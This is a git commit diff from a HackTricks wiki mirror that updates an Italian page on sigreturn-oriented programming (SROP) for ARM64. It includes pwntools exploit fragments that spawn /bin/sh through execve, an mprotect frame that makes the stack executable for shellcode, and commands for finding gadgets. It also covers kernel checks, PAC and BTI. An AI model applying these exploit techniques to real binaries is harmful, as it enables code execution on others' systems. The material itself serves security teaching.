mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/rop-return-oriented-programing/srop
This commit is contained in:
parent
9b838c55cb
commit
d0fb1f0316
@ -1,4 +1,4 @@
|
||||
# SROP - ARM64
|
||||
# {{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
@ -177,4 +177,53 @@ E per bypassare l'indirizzo di `/bin/sh` potresti creare diverse variabili d'amb
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Trovare gadget `sigreturn` automaticamente (2023-2025)
|
||||
|
||||
Sulle distribuzioni moderne il trampolino `sigreturn` è ancora esportato dalla pagina **vDSO** ma l'offset esatto può variare tra le versioni del kernel e i flag di build come BTI (`+branch-protection`) o PAC. Automatizzare la sua scoperta previene la codifica rigida degli offset:
|
||||
```bash
|
||||
# With ROPgadget ≥ 7.4
|
||||
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||
|
||||
# With rp++ ≥ 1.0.9 (arm64 support)
|
||||
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
|
||||
```
|
||||
Entrambi gli strumenti comprendono le codifiche **AArch64** e elencheranno le sequenze candidate `mov x8, 0x8b ; svc #0` che possono essere utilizzate come *gadget SROP*.
|
||||
|
||||
> Nota: Quando i binari sono compilati con **BTI**, la prima istruzione di ogni obiettivo di branch indiretto valido è `bti c`. I trampolini `sigreturn` posizionati dal linker includono già il corretto BTI landing pad, quindi il gadget rimane utilizzabile da codice non privilegiato.
|
||||
|
||||
## Collegare SROP con ROP (pivot tramite `mprotect`)
|
||||
|
||||
`rt_sigreturn` ci consente di controllare *tutti* i registri a uso generale e `pstate`. Un modello comune su x86 è: 1) utilizzare SROP per chiamare `mprotect`, 2) pivotare a un nuovo stack eseguibile contenente shell-code. La stessa idea funziona su ARM64:
|
||||
```python
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_mprotect # 226
|
||||
frame.x0 = 0x400000 # page-aligned stack address
|
||||
frame.x1 = 0x2000 # size
|
||||
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||
frame.sp = 0x400000 + 0x100 # new pivot
|
||||
frame.pc = svc_call # will re-enter kernel
|
||||
```
|
||||
Dopo aver inviato il frame, puoi inviare un secondo stadio contenente codice shell raw a `0x400000+0x100`. Poiché **AArch64** utilizza l'indirizzamento *PC-relative*, questo è spesso più conveniente rispetto alla costruzione di grandi catene ROP.
|
||||
|
||||
## Validazione del kernel, PAC e Shadow-Stacks
|
||||
|
||||
Linux 5.16 ha introdotto una validazione più rigorosa dei frame dei segnali nello spazio utente (commit `36f5a6c73096`). Il kernel ora controlla:
|
||||
|
||||
* `uc_flags` deve contenere `UC_FP_XSTATE` quando `extra_context` è presente.
|
||||
* La parola riservata in `struct rt_sigframe` deve essere zero.
|
||||
* Ogni puntatore nel record *extra_context* è allineato e punta all'interno dello spazio degli indirizzi utente.
|
||||
|
||||
`pwntools>=4.10` crea automaticamente frame conformi, ma se li costruisci manualmente assicurati di inizializzare a zero *riservato* e di omettere il record SVE a meno che tu non ne abbia davvero bisogno; altrimenti `rt_sigreturn` restituirà `SIGSEGV` invece di tornare.
|
||||
|
||||
A partire da Android 14 e Fedora 38, il userland è compilato con **PAC** (*Pointer Authentication*) e **BTI** abilitati per impostazione predefinita (`-mbranch-protection=standard`). *SROP* stesso non è influenzato perché il kernel sovrascrive `PC` direttamente dal frame creato, bypassando l'LR autenticato salvato nello stack; tuttavia, qualsiasi **catena ROP successiva** che esegue salti indiretti deve saltare a istruzioni abilitate BTI o indirizzi PACed. Tieni presente questo quando scegli i gadget.
|
||||
|
||||
Gli Shadow-Call-Stacks introdotti in ARMv8.9 (e già abilitati su ChromeOS 1.27+) sono una mitigazione a livello di compilatore e *non* interferiscono con SROP perché non vengono eseguite istruzioni di ritorno: il flusso di controllo è trasferito dal kernel.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [Documentazione sulla gestione dei segnali arm64 di Linux](https://docs.kernel.org/arch/arm64/signal.html)
|
||||
* [LWN – "La protezione dei rami AArch64 arriva a GCC e glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user